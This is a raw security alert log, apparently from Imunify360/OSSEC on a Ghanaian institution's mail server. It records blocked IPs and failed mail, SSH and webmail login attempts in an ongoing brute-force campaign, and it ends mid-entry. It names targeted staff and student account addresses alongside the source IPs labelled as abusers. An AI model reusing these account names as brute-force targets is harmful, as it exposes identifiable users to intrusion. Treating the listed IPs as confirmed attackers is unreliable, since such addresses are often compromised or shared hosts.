Feb  7 17:21:34 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 59.22.68.213 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.151.51.223
country_id: 798544
description:
2025-02-07 17:21:50 dovecot_plain authenticator failed for customer-ip-193-151-51-223.ipv.net.pl [193.151.51.223]:50798: 535 Incorrect authentication data (set_id=yeboah)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 110.182.203.89
country_id: 1814991
description:
Feb  7 17:21:57 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 110.182.203.89 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.45.216.101
country_id: 6252001
description:
2025-02-07 17:21:59 dovecot_plain authenticator failed for c-73-45-216-101.hsd1.il.comcast.net [73.45.216.101]:50134: 535 Incorrect authentication data (set_id=eng19a00005y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.182.203.89
country_id: 1814991
description:
2025-02-07 17:21:59 dovecot_plain authenticator failed for ([110.182.203.89]) [110.182.203.89]:35338: 535 Incorrect authentication data (set_id=bsemaha)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.149.4.102
country_id: 3469034
description:
2025-02-07 17:21:27 dovecot_plain authenticator failed for ([200.149.4.102]) [200.149.4.102]:44952: 535 Incorrect authentication data (set_id=yeboah@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.48.214.96
country_id: 1814991
description:
Feb  7 17:21:36 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.48.214.96 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 31.207.252.124
country_id: 2017370
description:
Feb  7 17:21:41 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 31.207.252.124 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 183.236.13.2
country_id: 1814991
description:
Feb  7 17:22:01 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 183.236.13.2 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.236.13.2
country_id: 1814991
description:
2025-02-07 17:22:03 dovecot_plain authenticator failed for ([183.236.13.2]) [183.236.13.2]:46120: 535 Incorrect authentication data (set_id=ads19a00014y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 120.237.184.58
country_id: 1814991
description:
Feb  7 17:21:28 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 120.237.184.58 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 191.243.79.22
country_id: 3469034
description:
2025-02-07 17:22:28 dovecot_plain authenticator failed for 191-243-79-22.telecomconectividade.net.br [191.243.79.22]:48484: 535 Incorrect authentication data (set_id=stquarshie@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 85.130.181.81
country_id: 294640
description:
Feb  7 17:22:47 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 85.130.181.81 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.130.181.81
country_id: 294640
description:
2025-02-07 17:22:49 dovecot_plain authenticator failed for ([85.130.181.81]) [85.130.181.81]:59457: 535 Incorrect authentication data (set_id=stquarshie)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.108.234.111
country_id: 1835841
description:
Feb  7 17:23:11 ait sshd[1921427]: pam_imunify(sshd:auth): [IM360_RBL] The IP 211.108.234.111 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.243.79.22
country_id: 3469034
description:
Feb  7 17:22:26 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.243.79.22 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 64.207.225.55
country_id: 6252001
description:
Feb  7 17:23:12 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 64.207.225.55 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 211.108.234.111
country_id: 1835841
description:
Feb  7 17:23:11 ait sshd[1921427]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=211.108.234.111  user=root


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.207.225.55
country_id: 6252001
description:
2025-02-07 17:23:14 dovecot_plain authenticator failed for wsip-64-207-225-55.tu.ok.cox.net (wsip-64-207-241-177.tu.ok.cox.net) [64.207.225.55]:44251: 535 Incorrect authentication data (set_id=abs1@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 221.149.233.247
country_id: 1835841
description:
Feb  7 17:23:31 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 221.149.233.247 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.176.123.33
country_id: 1814991
description:
2025-02-07 17:23:50 dovecot_plain authenticator failed for ([117.176.123.33]) [117.176.123.33]:33108: 535 Incorrect authentication data (set_id=eng18b00179y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.22.182.230
country_id: 2921044
description:
Feb  7 17:24:10 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.22.182.230 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.109.93.134
country_id: 1835841
description:
Feb  7 17:23:32 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.109.93.134 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.149.233.247
country_id: 1835841
description:
2025-02-07 17:23:33 dovecot_plain authenticator failed for ([221.149.233.247]) [221.149.233.247]:52080: 535 Incorrect authentication data (set_id=eng18b00179y@ait.edu.gh)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 103.69.59.102
country_id: 1210997
description:
[2025-02-07 17:23:39 +0100] info [webmaild] 103.69.59.102 - info@ait-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 61.51.81.78
country_id: 1814991
description:
Feb  7 17:24:20 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 61.51.81.78 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.51.81.78
country_id: 1814991
description:
2025-02-07 17:24:22 dovecot_plain authenticator failed for ([61.51.81.78]) [61.51.81.78]:48176: 535 Incorrect authentication data (set_id=ads20a00250y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.109.93.134
country_id: 1835841
description:
2025-02-07 17:23:34 dovecot_plain authenticator failed for ([211.109.93.134]) [211.109.93.134]:37246: 535 Incorrect authentication data (set_id=abs1)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.176.123.33
country_id: 1814991
description:
Feb  7 17:23:48 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.176.123.33 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.22.182.230
country_id: 2921044
description:
2025-02-07 17:24:12 dovecot_plain authenticator failed for ip4d16b6e6.dynamic.kabel-deutschland.de [77.22.182.230]:51309: 535 Incorrect authentication data (set_id=ads20a00250y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.171.64.170
country_id: 6252001
description:
2025-02-07 17:26:17 dovecot_plain authenticator failed for ([50.171.64.170]) [50.171.64.170]:44056: 535 Incorrect authentication data (set_id=masomani@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 116.240.97.42
country_id: 2077456
description:
Feb  7 17:25:35 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 116.240.97.42 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.240.97.42
country_id: 2077456
description:
2025-02-07 17:25:37 dovecot_plain authenticator failed for 116-240-97-42.dyn.ip.vocus.au [116.240.97.42]:45270: 535 Incorrect authentication data (set_id=rnunator@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 36.39.140.2
country_id: 1835841
description:
Feb  7 17:25:59 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 36.39.140.2 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 36.39.140.2
country_id: 1835841
description:
2025-02-07 17:26:01 dovecot_plain authenticator failed for ([36.39.140.2]) [36.39.140.2]:56206: 535 Incorrect authentication data (set_id=rnunator)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 50.171.64.170
country_id: 6252001
description:
Feb  7 17:26:15 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 50.171.64.170 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.32.73.141
country_id: 1562822
description:
Feb  7 17:26:15 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.32.73.141 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 58.69.17.18
country_id: 1694008
description:
Feb  7 17:26:44 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 58.69.17.18 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.164.135.251
country_id: 1835841
description:
2025-02-07 17:27:09 dovecot_plain authenticator failed for ([121.164.135.251]) [121.164.135.251]:58539: 535 Incorrect authentication data (set_id=ads21b00220y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.39.41.171
country_id: 1835841
description:
2025-02-07 17:27:10 dovecot_plain authenticator failed for ([14.39.41.171]) [14.39.41.171]:50241: 535 Incorrect authentication data (set_id=ads18b00134y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.126.123.231
country_id: 1835841
description:
Feb  7 17:27:22 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.126.123.231 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.250.149.90
country_id: 1269750
description:
2025-02-07 17:26:36 dovecot_plain authenticator failed for ([110.226.126.143]) [103.250.149.90]:56768: 535 Incorrect authentication data (set_id=masomani)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.69.17.18
country_id: 1694008
description:
2025-02-07 17:26:46 dovecot_login authenticator failed for ([116.50.246.69]) [58.69.17.18]:48506: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.201.54.90
country_id: 3469034
description:
Feb  7 17:27:09 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.201.54.90 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 115.140.89.82
country_id: 1835841
description:
Feb  7 17:27:10 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 115.140.89.82 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.250.149.90
country_id: 1269750
description:
Feb  7 17:26:34 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.250.149.90 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.39.41.171
country_id: 1835841
description:
Feb  7 17:27:08 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.39.41.171 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 186.201.54.90
country_id: 3469034
description:
2025-02-07 17:27:11 dovecot_plain authenticator failed for (187-51-252-236.customer.tdatabrasil.net.br) [186.201.54.90]:57552: 535 Incorrect authentication data (set_id=jpomador@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.140.89.82
country_id: 1835841
description:
2025-02-07 17:27:12 dovecot_plain authenticator failed for ([115.140.89.82]) [115.140.89.82]:60981: 535 Incorrect authentication data (set_id=ads21b00230y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 61.160.119.116
country_id: 1814991
description:
Feb  7 17:27:23 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 61.160.119.116 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.160.119.116
country_id: 1814991
description:
2025-02-07 17:27:25 dovecot_plain authenticator failed for ([61.160.119.116]) [61.160.119.116]:33335: 535 Incorrect authentication data (set_id=ads18b00134y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.164.135.251
country_id: 1835841
description:
Feb  7 17:27:07 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.164.135.251 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.32.73.141
country_id: 1562822
description:
Feb  7 17:26:31 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.32.73.141 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.223.251.251
country_id: 1814991
description:
2025-02-07 17:26:32 dovecot_login authenticator failed for (251.251.223.60.adsl-pool.sx.cn) [60.223.251.251]:33826: 535 Incorrect authentication data (set_id=info@ait-open.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 120.234.173.164
country_id: 1814991
description:
Feb  7 17:26:39 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 120.234.173.164 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 120.234.173.164
country_id: 1814991
description:
2025-02-07 17:26:41 dovecot_plain authenticator failed for ([120.234.173.164]) [120.234.173.164]:48421: 535 Incorrect authentication data (set_id=ads21b00220y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 119.205.188.80
country_id: 1835841
description:
Feb  7 17:27:24 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 119.205.188.80 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 60.223.251.251
country_id: 1814991
description:
Feb  7 17:26:30 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 60.223.251.251 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.205.188.80
country_id: 1835841
description:
2025-02-07 17:27:26 dovecot_plain authenticator failed for ([119.205.188.80]) [119.205.188.80]:51648: 535 Incorrect authentication data (set_id=ads21b00230y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.141.228.9
country_id: 2017370
description:
2025-02-07 17:27:30 dovecot_plain authenticator failed for ([95.141.228.9]) [95.141.228.9]:56490: 535 Incorrect authentication data (set_id=ads21b00152y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 123.118.9.59
country_id: 1814991
description:
2025-02-07 17:27:44 dovecot_plain authenticator failed for ([123.118.9.75]) [123.118.9.59]:37036: 535 Incorrect authentication data (set_id=ads21b00152y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.172.189.90
country_id: 1835841
description:
2025-02-07 17:28:17 dovecot_plain authenticator failed for ([112.172.189.90]) [112.172.189.90]:48256: 535 Incorrect authentication data (set_id=eng20a00052y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 27.0.61.49
country_id: 1269750
description:
Feb  7 17:28:19 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 27.0.61.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 115.42.173.64
country_id: 1880251
description:
Feb  7 17:28:19 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 115.42.173.64 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.0.61.49
country_id: 1269750
description:
2025-02-07 17:28:21 dovecot_plain authenticator failed for ([27.0.61.49]) [27.0.61.49]:55712: 535 Incorrect authentication data (set_id=vobynuma@ait.edu.gh)


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 175.125.95.234
country_id: 1835841
description:
Feb  7 17:27:30 ait sshd[1923459]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=175.125.95.234  user=root


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 124.160.45.26
country_id: 1814991
description:
2025-02-07 17:27:39 dovecot_plain authenticator failed for ([124.160.45.26]) [124.160.45.26]:53306: 535 Incorrect authentication data (set_id=jpomador)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 123.118.9.59
country_id: 1814991
description:
Feb  7 17:27:42 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 123.118.9.59 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 82.84.122.203
country_id: 3175395
description:
Feb  7 17:28:06 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 82.84.122.203 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.32.73.141
country_id: 1562822
description:
Feb  7 17:28:12 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.32.73.141 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.17.154.82
country_id: 1814991
description:
2025-02-07 17:28:22 dovecot_plain authenticator failed for ([58.17.154.82]) [58.17.154.82]:36042: 535 Incorrect authentication data (set_id=ads20b00370y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 95.141.228.9
country_id: 2017370
description:
Feb  7 17:27:28 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 95.141.228.9 has been locked due to Imunify RBL


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.125.95.234
country_id: 1835841
description:
Feb  7 17:27:30 ait sshd[1923459]: pam_imunify(sshd:auth): [IM360_RBL] The IP 175.125.95.234 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 130.185.96.113
country_id: 294640
description:
Feb  7 17:28:09 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 130.185.96.113 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 82.84.122.203
country_id: 3175395
description:
2025-02-07 17:28:08 dovecot_plain authenticator failed for (ppp-82-84-122-203.dialup.tiscali.it) [82.84.122.203]:64122: 535 Incorrect authentication data (set_id=eng22a00061y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.185.96.113
country_id: 294640
description:
2025-02-07 17:28:11 dovecot_plain authenticator failed for ([130.185.96.113]) [130.185.96.113]:54016: 535 Incorrect authentication data (set_id=ads20b00370y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 124.160.45.26
country_id: 1814991
description:
Feb  7 17:27:37 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 124.160.45.26 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 112.172.189.90
country_id: 1835841
description:
Feb  7 17:28:15 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 112.172.189.90 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 58.17.154.82
country_id: 1814991
description:
Feb  7 17:28:20 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 58.17.154.82 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.42.173.64
country_id: 1880251
description:
2025-02-07 17:28:21 dovecot_plain authenticator failed for ([115.42.173.64]) [115.42.173.64]:39328: 535 Incorrect authentication data (set_id=eng22a00061y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.32.180
country_id: 1668284
description:
2025-02-07 17:29:13 dovecot_plain authenticator failed for 111-70-32-180.emome-ip.hinet.net [111.70.32.180]:42991: 535 Incorrect authentication data (set_id=eng19b00160y)


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL block
abuser: 57.128.47.31
country_id: 3017382
domain: mail.iric.us
description:
IM360 WAF: WordPress Bruteforce RBL block||Name:iric_admin||WPU:iric_admin||RSV:6.65||T:APACHE||MV:17-29.57.128.47.31


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 202.179.85.98
country_id: 1269750
description:
Feb  7 17:28:35 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 202.179.85.98 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 58.22.255.28
country_id: 1814991
description:
Feb  7 17:28:36 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 58.22.255.28 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.22.255.28
country_id: 1814991
description:
2025-02-07 17:28:38 dovecot_plain authenticator failed for ([58.22.255.28]) [58.22.255.28]:42145: 535 Incorrect authentication data (set_id=vobynuma)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.179.85.98
country_id: 1269750
description:
2025-02-07 17:28:37 dovecot_plain authenticator failed for ([202.179.85.98]) [202.179.85.98]:20470: 535 Incorrect authentication data (set_id=eng20a00052y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 220.246.36.42
country_id: 1819730
description:
Feb  7 17:28:58 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 220.246.36.42 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.70.32.180
country_id: 1668284
description:
Feb  7 17:29:11 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.70.32.180 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.246.36.42
country_id: 1819730
description:
2025-02-07 17:29:00 dovecot_plain authenticator failed for 042.36.246.220.static.netvigator.com [220.246.36.42]:56973: 535 Incorrect authentication data (set_id=eng19b00160y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 142.59.214.68
country_id: 6251999
description:
Feb  7 17:29:38 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 142.59.214.68 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 200.222.90.178
country_id: 3469034
description:
Feb  7 17:30:23 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 200.222.90.178 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 171.244.142.135
country_id: 1562822
description:
Feb  7 17:29:59 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 171.244.142.135 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 173.20.253.109
country_id: 6252001
description:
2025-02-07 17:30:10 dovecot_plain authenticator failed for (173-20-253-109.client.mchsi.com) [173.20.253.109]:60408: 535 Incorrect authentication data (set_id=eharry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 216.139.35.161
country_id: 6252001
description:
2025-02-07 17:30:21 dovecot_plain authenticator failed for 161.sm-u1.dialup.garlic.net [216.139.35.161]:35452: 535 Incorrect authentication data (set_id=ads1700155y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 142.59.214.68
country_id: 6251999
description:
2025-02-07 17:29:40 dovecot_login authenticator failed for s142-59-214-68.ab.hsia.telus.net [142.59.214.68]:45117: 535 Incorrect authentication data (set_id=info@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.126.196.67
country_id: 2510769
description:
2025-02-07 17:29:48 dovecot_login authenticator failed for (cli-5b7ec443.ast.adamo.es) [91.126.196.67]:56312: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 216.139.35.161
country_id: 6252001
description:
Feb  7 17:30:19 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 216.139.35.161 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.244.142.135
country_id: 1562822
description:
2025-02-07 17:30:01 dovecot_plain authenticator failed for ([171.244.142.135]) [171.244.142.135]:54079: 535 Incorrect authentication data (set_id=eharry@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.126.196.67
country_id: 2510769
description:
Feb  7 17:29:46 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.126.196.67 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 173.20.253.109
country_id: 6252001
description:
Feb  7 17:30:08 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 173.20.253.109 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 188.213.34.28
country_id: 298795
description:
Feb  7 17:29:30 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 188.213.34.28 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.213.34.28
country_id: 298795
description:
2025-02-07 17:29:32 dovecot_login authenticator failed for (ADMIN) [188.213.34.28]:39048: 535 Incorrect authentication data (set_id=ait@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.46.199.19
country_id: 895949
description:
Feb  7 17:31:22 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.46.199.19 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.246.227.218
country_id: 1835841
description:
2025-02-07 17:31:24 dovecot_plain authenticator failed for ([106.246.227.218]) [106.246.227.218]:52192: 535 Incorrect authentication data (set_id=sarpong-nsiah@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 124.221.104.33
country_id: 1814991
description:
Feb  7 17:30:32 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 124.221.104.33 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 70.90.99.29
country_id: 6252001
description:
2025-02-07 17:30:36 dovecot_plain authenticator failed for ([70.90.99.29]) [70.90.99.29]:46597: 535 Incorrect authentication data (set_id=amadam)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 58.240.2.38
country_id: 1814991
description:
Feb  7 17:31:09 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 58.240.2.38 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.246.227.218
country_id: 1835841
description:
Feb  7 17:31:22 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.246.227.218 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.222.90.178
country_id: 3469034
description:
2025-02-07 17:30:25 dovecot_plain authenticator failed for ([200.222.90.178]) [200.222.90.178]:47667: 535 Incorrect authentication data (set_id=amadam@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.32.73.141
country_id: 1562822
description:
Feb  7 17:30:31 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.32.73.141 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.240.2.38
country_id: 1814991
description:
